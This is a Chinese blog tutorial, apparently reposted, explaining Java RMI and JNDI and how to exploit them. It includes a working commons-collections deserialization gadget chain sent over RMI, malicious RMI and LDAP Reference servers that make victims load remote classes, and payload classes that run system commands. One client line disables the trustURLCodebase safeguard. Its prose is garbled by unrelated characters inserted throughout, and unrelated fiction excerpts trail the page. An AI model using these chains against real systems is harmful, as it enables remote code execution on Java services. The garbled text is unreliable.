Java之RMI和JNDI

由于最近的log4jfastjson頻頻曝出JNDI漏洞危機(jī)甘凭,覺(jué)得有必要學(xué)習(xí)jndirmi

1 RMI

1.1 rmi概念

RMI是用JavaJDK1.2中實(shí)現(xiàn)的议忽,它大大增強(qiáng)了Java開(kāi)發(fā)分布式應(yīng)用的能力恃鞋,Java本身對(duì)RMI規(guī)范的實(shí)現(xiàn)默認(rèn)使用的是JRMP協(xié)議洞慎。而在Weblogic中對(duì)RMI規(guī)范的實(shí)現(xiàn)使用T3協(xié)議
JRMPJava Remote Message Protocol 爪幻,Java遠(yuǎn)程消息交換協(xié)議弧圆。這是運(yùn)行在Java RMI之下、TCP/IP之上的線路層協(xié)議笔咽。該協(xié)議要求服務(wù)端與客戶端都為Java編寫(xiě)搔预,就像HTTP協(xié)議一樣,規(guī)定了客戶端和服務(wù)端通信要滿足的規(guī)范

RMIRemote Method Invocation)為遠(yuǎn)程方法調(diào)用叶组,是允許運(yùn)行在一個(gè)Java虛擬機(jī)的對(duì)象調(diào)用運(yùn)行在另一個(gè)Java虛擬機(jī)上的對(duì)象的方法拯田。 這兩個(gè)虛擬機(jī)可以是運(yùn)行在相同計(jì)算機(jī)上的不同進(jìn)程中,也可以是運(yùn)行在網(wǎng)絡(luò)上的不同計(jì)算機(jī)中甩十,RMI體系結(jié)構(gòu)是基于一個(gè)非常重要的行為定義行為實(shí)現(xiàn)相分離的原則船庇。RMI允許定義行為的代碼和實(shí)現(xiàn)行為的代碼相分離,并且運(yùn)行在不同的JVM上侣监。
不同于socket,RMI中分為三大部分:Server鸭轮、ClientRegistry

  • Server: 提供遠(yuǎn)程的對(duì)象
  • Client: 調(diào)用遠(yuǎn)程的對(duì)象
  • Registry: 一個(gè)注冊(cè)表橄霉,存放著遠(yuǎn)程對(duì)象的位置(ip窃爷、端口、標(biāo)識(shí)符)

RMI體系結(jié)構(gòu)分以下幾層:

  • 存根和骨架層(Stub and Skeleton layer):這一層對(duì)程序員是透明的姓蜂,它主要負(fù)責(zé)攔截客戶端發(fā)出的方法調(diào)用請(qǐng)求按厘,然后把請(qǐng)求重定向給遠(yuǎn)程的RMI服務(wù)。
  • 遠(yuǎn)程引用層(Remote Reference Layer):RMI體系結(jié)構(gòu)的第二層用來(lái)解析客戶端對(duì)服務(wù)端遠(yuǎn)程對(duì)象的引用钱慢。這一層解析并管理客戶端對(duì)服務(wù)端遠(yuǎn)程對(duì)象的引用逮京。連接是點(diǎn)到點(diǎn)的。
  • 傳輸層(Transport layer):這一層負(fù)責(zé)連接參與服務(wù)的兩個(gè)JVM束莫。這一層是建立在網(wǎng)絡(luò)上機(jī)器間的TCP/IP連接之上的懒棉。它提供了基本的連接服務(wù),還有一些防火墻穿透策略

1.2 RMI基礎(chǔ)運(yùn)用

RMI可以調(diào)用遠(yuǎn)程的一個(gè)Java的對(duì)象進(jìn)行本地執(zhí)行览绿,但是遠(yuǎn)程被調(diào)用的該類(lèi)必須繼承java.rmi.Remote接口

1.2.1 定義一個(gè)遠(yuǎn)程的接口

public interface Rmidemo extends Remote {
    public String hello() throws RemoteException;
}

在定義遠(yuǎn)程接口的時(shí)候需要繼承java.rmi.Remote接口策严,并且修飾符需要為public否則遠(yuǎn)程調(diào)用的時(shí)候會(huì)報(bào)錯(cuò)。并且定義的方法里面需要拋出一個(gè)RemoteException的異常

1.2.2 編寫(xiě)一個(gè)遠(yuǎn)程接口的實(shí)現(xiàn)類(lèi)

在編寫(xiě)該實(shí)現(xiàn)類(lèi)中需要將該類(lèi)繼承UnicastRemoteObject

public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo{
    protected RemoteHelloWorld() throws RemoteException {
        System.out.println("構(gòu)造方法");
    }

    public String hello() throws RemoteException {
        System.out.println("hello方法被調(diào)用");
        return "hello,world";
    }
}

1.2.3 創(chuàng)建服務(wù)器實(shí)例

創(chuàng)建服務(wù)器實(shí)例挟裂,并且創(chuàng)建一個(gè)注冊(cè)表享钞,將需要提供給客戶端的對(duì)象注冊(cè)到注冊(cè)到注冊(cè)表中

public class servet {
    public static void main(String[] args) throws RemoteException {
        Rmidemo hello = new RemoteHelloWorld();//創(chuàng)建遠(yuǎn)程對(duì)象
        Registry registry = LocateRegistry.createRegistry(1099);//創(chuàng)建注冊(cè)表
        registry.rebind("hello",hello);//將遠(yuǎn)程對(duì)象注冊(cè)到注冊(cè)表里面揍诽,并且設(shè)置值為hello
    }
}

到了這一步诀蓉,簡(jiǎn)單的RMI服務(wù)端的代碼就寫(xiě)好了

1.2.4 編寫(xiě)客戶端并且調(diào)用遠(yuǎn)程對(duì)象

public class clientdemo {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);//獲取遠(yuǎn)程主機(jī)對(duì)象
        // 利用注冊(cè)表的代理去查詢(xún)遠(yuǎn)程注冊(cè)表中名為hello的對(duì)象
        Rmidemo hello = (Rmidemo) registry.lookup("hello");
        // 調(diào)用遠(yuǎn)程方法
        System.out.println(hello.hello());
    }
}

在這一步需要注意的是栗竖,如果遠(yuǎn)程的這個(gè)方法有參數(shù)的話,調(diào)用該方法傳入的參數(shù)必須是可序列化的渠啤。在傳輸中是傳輸序列化后的數(shù)據(jù)狐肢,服務(wù)端會(huì)對(duì)客戶端的輸入進(jìn)行反序列化

1.3 RMI反序列化攻擊

需要使用到RMI進(jìn)行反序列化攻擊需要兩個(gè)條件:接收Object類(lèi)型的參數(shù)、RMI的服務(wù)端存在執(zhí)行命令利用鏈
這里對(duì)上面得代碼做一個(gè)簡(jiǎn)單的改寫(xiě)

1.3.1 定義遠(yuǎn)程接口

需要定義一個(gè)object類(lèi)型的參數(shù)方法

public interface User extends Remote {
    public String hello(String hello) throws RemoteException;
    void work(Object obj) throws RemoteException;
    void say() throws RemoteException;
}

1.3.2 遠(yuǎn)程接口實(shí)現(xiàn)

public class UserImpl extends UnicastRemoteObject implements User {
    protected UserImpl() throws RemoteException {
    }
    protected UserImpl(int port) throws RemoteException {
        super(port);
    }
    protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
        super(port, csf, ssf);
    }

    public String hello(String hello) throws RemoteException {
        return "hello";
    }
    public void work(Object obj) throws RemoteException {
        System.out.println("work被調(diào)用了");
    }
    public void say() throws RemoteException {
        System.out.println("say");
    }
}

1.3.3 服務(wù)器

public class server {
    public static void main(String[] args) 
                        throws RemoteException {
        User user = new UserImpl();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.rebind("user",user);
        System.out.println("rmi running....");
    }
}

1.3.4 客戶端

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class client {
    public static void main(String[] args) throws Exception {
        String url = "rmi://192.168.20.130:1099/user";
        User userClient = (User) Naming.lookup(url);

        userClient.work(getpayload());

    }
    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "sijidou");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, transformedMap);
        return instance;
    }
}

執(zhí)行客戶端后就會(huì)執(zhí)行我們?cè)O(shè)置好要執(zhí)行的命令沥曹,也就是彈出計(jì)算器份名。之所以會(huì)被執(zhí)行的原因前面也說(shuō)過(guò)RMI在傳輸數(shù)據(jù)的時(shí)候,會(huì)被序列化妓美,傳輸?shù)臅r(shí)序列化后的數(shù)據(jù)僵腺,在傳輸完成后再進(jìn)行反序列化。那么這時(shí)候如果傳輸一個(gè)惡意的序列化數(shù)據(jù)就會(huì)進(jìn)行反序列化的命令執(zhí)行
轉(zhuǎn)載于:https://www.cnblogs.com/nice0e3/p/13927460.html

1.3.4.1 Transformer類(lèi)說(shuō)明

1.3.4.1.1 Transformer

commons-collections下面的類(lèi)Transformer是個(gè)接口

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

可以看到Transformer接口只有一個(gè)transform方法壶栋,之后所有繼承該接口的類(lèi)都需要實(shí)現(xiàn)這個(gè)方法辰如。
官方文檔的意思:
大致意思就是會(huì)將傳入的object進(jìn)行轉(zhuǎn)換,然后返回轉(zhuǎn)換后的object贵试。還是有點(diǎn)抽象琉兜,不過(guò)沒(méi)關(guān)系,先放著接下來(lái)再根據(jù)繼承該接口的類(lèi)進(jìn)行具體分析毙玻。
Transformer有幾個(gè)實(shí)現(xiàn)類(lèi):

  • ConstantTransformer
  • InvokerTransformer
  • ChainedTransformer
1.3.4.1.2 ConstantTransformer

ConstantTransformer類(lèi)當(dāng)中的transform方法就是將初始化時(shí)傳入的對(duì)象返回
部分源碼:

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

public Object transform(Object input) {
    return this.iConstant;
}
1.3.4.1.3 InvokerTransformer

InvokerTransformer部分源碼:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

InvokerTransformer類(lèi)的構(gòu)造函數(shù)傳入三個(gè)參數(shù)——方法名豌蟋,參數(shù)類(lèi)型數(shù)組參數(shù)數(shù)組桑滩。在transform方法中通過(guò)反射機(jī)制調(diào)用傳入某個(gè)類(lèi)的方法梧疲,而調(diào)用的方法及其所需要的參數(shù)都在構(gòu)造函數(shù)中進(jìn)行了賦值,最終返回該方法的執(zhí)行結(jié)果

1.3.4.1.4 ChainedTransformer

ChainedTransformer部分源碼:

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

ChainedTransformer類(lèi)利用之前構(gòu)造方法傳入的transformers數(shù)組通過(guò)循環(huán)的方式調(diào)用每個(gè)元素的trandsform方法运准,將得到的結(jié)果傳入下一次循環(huán)的transform方法中往声。

那么這樣我們可以利用ChainedTransformerConstantTransformerInvokerTransformertransform方法串起來(lái)。通過(guò)ConstantTransformer返回某個(gè)類(lèi)戳吝,交給InvokerTransformer去調(diào)用類(lèi)中的某個(gè)方法浩销。

1.3.4.1.5 TrandsformedMap

TrandsformedMap部分源碼:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

protected Object transformKey(Object object) {
    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}

TransformedMapdecorate方法根據(jù)傳入的參數(shù)重新實(shí)例化一個(gè)TransformedMap對(duì)象,再看put方法的源碼听哭,不管是key還是value都會(huì)間接調(diào)用transform方法慢洋,而這里的this.valueTransformer也就是transformerChain,從而啟動(dòng)整個(gè)鏈子

1.3.4.2 代碼中說(shuō)明

1.3.4.2.1 Transformer類(lèi)說(shuō)明
String[] execArgs = new String[]{"open -a Calculator"};

final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        ),
        new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class}, execArgs),
};

上面的代碼翻譯一下正常的反射代碼一下:

((Runtime) Runtime.class.
        getMethod("getRuntime", null).
        invoke(null, null)).
        exec("open -a Calculator");
1.3.4.2.2 TransformedMap類(lèi)說(shuō)明

其中TransformedMap根據(jù)上門(mén)的部分源碼可知會(huì)自動(dòng)調(diào)用Transformer內(nèi)部方法

TransformedMap 可以用來(lái)對(duì) Map 進(jìn)行某種變換陆盘,底層原理實(shí)際上是使用傳入的 Transformer 進(jìn)行轉(zhuǎn)換普筹。

Transformer transformer = new ConstantTransformer("程序通事");

Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 只對(duì) value 進(jìn)行轉(zhuǎn)換
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 方法將會(huì)觸發(fā)調(diào)用 Transformer 內(nèi)部方法
decorate.put("b", "B");

for (Object entry : decorate.entrySet()) {
    Map.Entry temp = (Map.Entry) entry;
    if (temp.getKey().equals("a")) {
        // Map.Entry setValue 也會(huì)觸發(fā) Transformer 內(nèi)部方法
        temp.setValue("AAA");
    }
}
System.out.println(decorate);

只要調(diào)用 TransformedMapput 方法,或者調(diào)用 Map.EntrysetValue方法就可以觸發(fā)我們?cè)O(shè)置的 ChainedTransformer隘马,從而觸發(fā) Runtime 執(zhí)行外部命令太防,因此輸出結(jié)果為:

{b=程序通事, a=程序通事}
1.3.4.2.3 AnnotationInvocationHandler類(lèi)說(shuō)明

上文中我們知道了,只要調(diào)用 TransformedMapput 方法酸员,或者調(diào)用 Map.EntrysetValue方法就可以觸發(fā)我們?cè)O(shè)置的 ChainedTransformer蜒车,從而觸發(fā) Runtime 執(zhí)行外部命令讳嘱。

現(xiàn)在我們就需要找到一個(gè)可序列化的類(lèi),這個(gè)類(lèi)正好實(shí)現(xiàn)了 readObject酿愧,且正好可以調(diào)用 Map put 的方法或者調(diào)用 Map.Entry的 setValue沥潭。
Java 中有一個(gè)類(lèi) sun.reflect.annotation.AnnotationInvocationHandler,正好滿足上述的條件嬉挡。這個(gè)類(lèi)構(gòu)造函數(shù)可以設(shè)置一個(gè) Map 變量钝鸽,這下剛好可以把上面的 TransformedMap 設(shè)置進(jìn)去。
但是庞钢,這個(gè)類(lèi)沒(méi)有 public 修飾符拔恰,默認(rèn)只有同一個(gè)包才可以使用

不過(guò)這點(diǎn)難度,跟上面一比基括,還真是輕松仁连,我們可以通過(guò)反射獲取從而獲取這個(gè)類(lèi)的實(shí)例。

示例代碼如下:

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 隨便使用一個(gè)注解
Object instance = ctor.newInstance(Target.class, exMap);

2 JNDI

2.1 概念

JNDI(Java Naming and Directory Interface,Java命名和目錄接口)是SUN公司提供的一種標(biāo)準(zhǔn)的Java命名系統(tǒng)接口阱穗,JNDI提供統(tǒng)一的客戶端API饭冬,通過(guò)不同的訪問(wèn)提供者接口JNDI服務(wù)供應(yīng)接口(SPI)的實(shí)現(xiàn),由管理者將JNDI API映射為特定的命名服務(wù)目錄系統(tǒng)揪阶,使得Java應(yīng)用程序可以和這些命名服務(wù)和目錄服務(wù)之間進(jìn)行交互昌抠。目錄服務(wù)命名服務(wù)的一種自然擴(kuò)展
命名服務(wù)將名稱(chēng)和對(duì)象聯(lián)系起來(lái),使得讀者可以用名稱(chēng)訪問(wèn)對(duì)象鲁僚。目錄服務(wù)是一種命名服務(wù)炊苫,在這種服務(wù)里,對(duì)象不但有名稱(chēng)冰沙,還有屬性侨艾。

JNDI是一個(gè)應(yīng)用程序設(shè)計(jì)的API,為開(kāi)發(fā)人員提供了查找和訪問(wèn)各種命名和目錄服務(wù)的通用拓挥、統(tǒng)一的接口唠梨,類(lèi)似JDBC都是構(gòu)建在抽象層上。現(xiàn)在JNDI已經(jīng)成為J2EE的標(biāo)準(zhǔn)之一侥啤,所有的J2EE容器都必須提供一個(gè)JNDI的服務(wù)当叭。

JNDI可訪問(wèn)的現(xiàn)有的目錄及服務(wù)有:
DNSXNam 盖灸、Novell目錄服務(wù)蚁鳖、LDAP(Lightweight Directory Access Protocol輕型目錄訪問(wèn)協(xié)議)、 CORBA對(duì)象服務(wù)赁炎、文件系統(tǒng)醉箕、Windows XP/2000/NT/Me/9x的注冊(cè)表、RMI、DSML v1&v2讥裤、NIS

以上是一段百度wiki的描述放棒。簡(jiǎn)單點(diǎn)來(lái)說(shuō)就相當(dāng)于一個(gè)索引庫(kù),一個(gè)命名服務(wù)對(duì)象名稱(chēng)聯(lián)系在了一起坞琴,并且可以通過(guò)它們指定的名稱(chēng)找到相應(yīng)的對(duì)象

2.2 JNDI結(jié)構(gòu)

Java JDK里面提供了5個(gè)包哨查,提供給JNDI的功能實(shí)現(xiàn)逗抑,分別是

  • javax.naming:主要用于命名操作剧辐,它包含了命名服務(wù)的類(lèi)和接口,該包定義了Context接口和InitialContext類(lèi)邮府;
  • javax.naming.directory:主要用于目錄操作荧关,它定義了DirContext接口和InitialDir-Context類(lèi);
  • javax.naming.event:在命名目錄服務(wù)器中請(qǐng)求事件通知褂傀;
  • javax.naming.ldap:提供LDAP支持忍啤;
  • javax.naming.spi:允許動(dòng)態(tài)插入不同實(shí)現(xiàn),為不同命名目錄服務(wù)供應(yīng)商的開(kāi)發(fā)人員提供開(kāi)發(fā)和實(shí)現(xiàn)的途徑仙辟,以便應(yīng)用程序通過(guò)JNDI可以訪問(wèn)相關(guān)服務(wù)同波。

2.2.1 InitialContext類(lèi)

構(gòu)造方法:

InitialContext():構(gòu)建一個(gè)初始上下文。
InitialContext(boolean lazy):構(gòu)造一個(gè)初始上下文叠国,并選擇不初始化它未檩。
InitialContext(Hashtable<?,?> environment):使用提供的環(huán)境構(gòu)建初始上下文

常用方法:

  • bind(Name name, Object obj) 將名稱(chēng)綁定到對(duì)象
  • list(String name) 枚舉在命名上下文中綁定的名稱(chēng)以及綁定到它們的對(duì)象的類(lèi)名
  • lookup(String name) 檢索命名對(duì)象
  • rebind(String name, Object obj) 將名稱(chēng)綁定到對(duì)象,覆蓋任何現(xiàn)有綁定
  • unbind(String name) 取消綁定命名對(duì)象

示例如下:

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

2.2.2 Reference類(lèi)

該類(lèi)也是在javax.naming的一個(gè)類(lèi)粟焊,該類(lèi)表示對(duì)在命名/目錄系統(tǒng)外部找到的對(duì)象的引用冤狡。提供了JNDI中類(lèi)的引用功能
構(gòu)造方法:

Reference(String className)為類(lèi)名為className的對(duì)象構(gòu)造一個(gè)新的引用。
Reference(String className, RefAddr addr)為類(lèi)名為className的對(duì)象和地址構(gòu)造一個(gè)新引用
Reference(String className, RefAddr addr, String factory, String factoryLocation)為類(lèi)名為className的對(duì)象项棠,對(duì)象工廠的類(lèi)名和位置以及對(duì)象的地址構(gòu)造一個(gè)新引用
Reference(String className, String factory, String factoryLocation)為類(lèi)名為className的對(duì)象以及對(duì)象工廠的類(lèi)名和位置構(gòu)造一個(gè)新引用悲雳。

示例:

String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

參數(shù)1:className - 遠(yuǎn)程加載時(shí)所使用的類(lèi)名
參數(shù)2:classFactory - 加載的class中需要實(shí)例化類(lèi)的名稱(chēng)
參數(shù)3:classFactoryLocation - 提供classes數(shù)據(jù)的地址可以是file/ftp/http協(xié)議

常用方法:

void add(int posn, RefAddr addr) 將地址添加到索引posn的地址列表中。
void add(RefAddr addr) 將地址添加到地址列表的末尾香追。
void clear() 從此引用中刪除所有地址合瓢。
RefAddr get(int posn) 檢索索引posn上的地址。
RefAddr get(String addrType) 檢索地址類(lèi)型為addrType的第一個(gè)地址透典。
Enumeration<RefAddr> getAll()檢索本參考文獻(xiàn)中地址的列舉歪玲。
String getClassName()檢索引用引用的對(duì)象的類(lèi)名。
String getFactoryClassLocation()檢索此引用引用的對(duì)象的工廠位置掷匠。
String getFactoryClassName()檢索此引用引用對(duì)象的工廠的類(lèi)名滥崩。
Object remove(int posn)從地址列表中刪除索引posn上的地址。
int size()檢索此引用中的地址數(shù)讹语。
String toString()生成此引用的字符串表示形式

代碼示例:

public class jndi {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080"; 
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);
    }
}

這里可以看到調(diào)用完Reference 后又調(diào)用了 ReferenceWrapper將前面的Reference 對(duì)象給傳進(jìn)去钙皮,其原因是查看Reference 就可以知道原因,查看到Reference ,并沒(méi)有繼承Remote接口也沒(méi)有繼承 UnicastRemoteObject類(lèi),前面講RMI的時(shí)候說(shuō)過(guò)短条,需要將類(lèi)注冊(cè)到Registry需要實(shí)現(xiàn)Remote和繼承UnicastRemoteObject類(lèi)导匣。這里并沒(méi)有看到相關(guān)的代碼,所以這里還需要調(diào)用 ReferenceWrapper將他給封裝一下

2.3 JNDI注入攻擊

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();//得到初始目錄環(huán)境的一個(gè)引用
        initialContext.lookup(uri);//獲取指定的遠(yuǎn)程對(duì)象

    }
}

在上面的InitialContext.lookup(uri)的這里茸时,如果說(shuō)URI可控贡定,那么客戶端就可能會(huì)被攻擊。JNDI可以使用RMI可都、LDAP來(lái)訪問(wèn)目標(biāo)服務(wù)缓待。在實(shí)際運(yùn)用中也會(huì)使用到JNDI注入配合RMI等方式實(shí)現(xiàn)攻擊

2.4 JNDI注入+RMI實(shí)現(xiàn)攻擊

2.4.1 RMIServer代碼

public class server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080/";
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("obj",referenceWrapper);
        System.out.println("running");
    }
}

2.4.2 RMIClient代碼

public class client {
    public static void main(String[] args) throws NamingException {
        String url = "rmi://localhost:1099/obj";
 //新版jdk8u以上 不加這句話報(bào)錯(cuò) The object factory is untrusted. 
        //Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

下面還需要一段執(zhí)行命令的代碼,掛載在web頁(yè)面上讓server端去請(qǐng)求

public class test {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

使用javac命令渠牲,將該類(lèi)編譯成class文件掛載在web頁(yè)面上旋炒。

原理其實(shí)就是把惡意的Reference類(lèi),綁定在RMIRegistry里面签杈,在客戶端調(diào)用lookup遠(yuǎn)程獲取遠(yuǎn)程類(lèi)的時(shí)候瘫镇,就會(huì)獲取到Reference對(duì)象,獲取到Reference對(duì)象后答姥,會(huì)去尋找Reference中指定的類(lèi)铣除,如果查找不到則會(huì)在Reference中指定的遠(yuǎn)程地址去進(jìn)行請(qǐng)求,請(qǐng)求到遠(yuǎn)程的類(lèi)后會(huì)在本地進(jìn)行執(zhí)行

2.5 JNDI注入+LDAP實(shí)現(xiàn)攻擊

LDAP概念:LDAP輕型目錄訪問(wèn)協(xié)議(英文:Lightweight Directory Access Protocol鹦付,縮寫(xiě):LDAP尚粘,/??ld?p/)是一個(gè)開(kāi)放的,中立的睁壁,工業(yè)標(biāo)準(zhǔn)的應(yīng)用協(xié)議背苦,通過(guò)IP協(xié)議提供訪問(wèn)控制和維護(hù)分布式信息的目錄信息

有了前面的案例后,再來(lái)看這個(gè)其實(shí)也比較簡(jiǎn)單潘明,之所以JNDI注入會(huì)配合LDAP是因?yàn)?code>LDAP服務(wù)的Reference遠(yuǎn)程加載Factory類(lèi)不受com.sun.jndi.rmi.object.trustURLCodebase行剂、com.sun.jndi.cosnaming.object.trustURLCodebase等屬性的限制。

示例如下:

2.5.1 server端

public class demo {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8080/#test"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

2.5.2 編寫(xiě)一個(gè)client客戶端

public class clientdemo {
    public static void main(String[] args) throws NamingException {
        Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
}
}

編寫(xiě)一個(gè)遠(yuǎn)程惡意類(lèi)钳降,并將其編譯成class文件厚宰,放置web頁(yè)面中。

public class test{
    public test() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

轉(zhuǎn)載于:https://www.cnblogs.com/nice0e3/p/13958047.html

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末遂填,一起剝皮案震驚了整個(gè)濱河市铲觉,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌吓坚,老刑警劉巖撵幽,帶你破解...
    沈念sama閱讀 217,734評(píng)論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異礁击,居然都是意外死亡盐杂,警方通過(guò)查閱死者的電腦和手機(jī)逗载,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,931評(píng)論 3 394
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)链烈,“玉大人厉斟,你說(shuō)我怎么就攤上這事∏亢猓” “怎么了擦秽?”我有些...
    開(kāi)封第一講書(shū)人閱讀 164,133評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)漩勤。 經(jīng)常有香客問(wèn)我感挥,道長(zhǎng),這世上最難降的妖魔是什么锯七? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,532評(píng)論 1 293
  • 正文 為了忘掉前任链快,我火速辦了婚禮誉己,結(jié)果婚禮上眉尸,老公的妹妹穿的比我還像新娘。我一直安慰自己巨双,他們只是感情好噪猾,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,585評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著筑累,像睡著了一般袱蜡。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上慢宗,一...
    開(kāi)封第一講書(shū)人閱讀 51,462評(píng)論 1 302
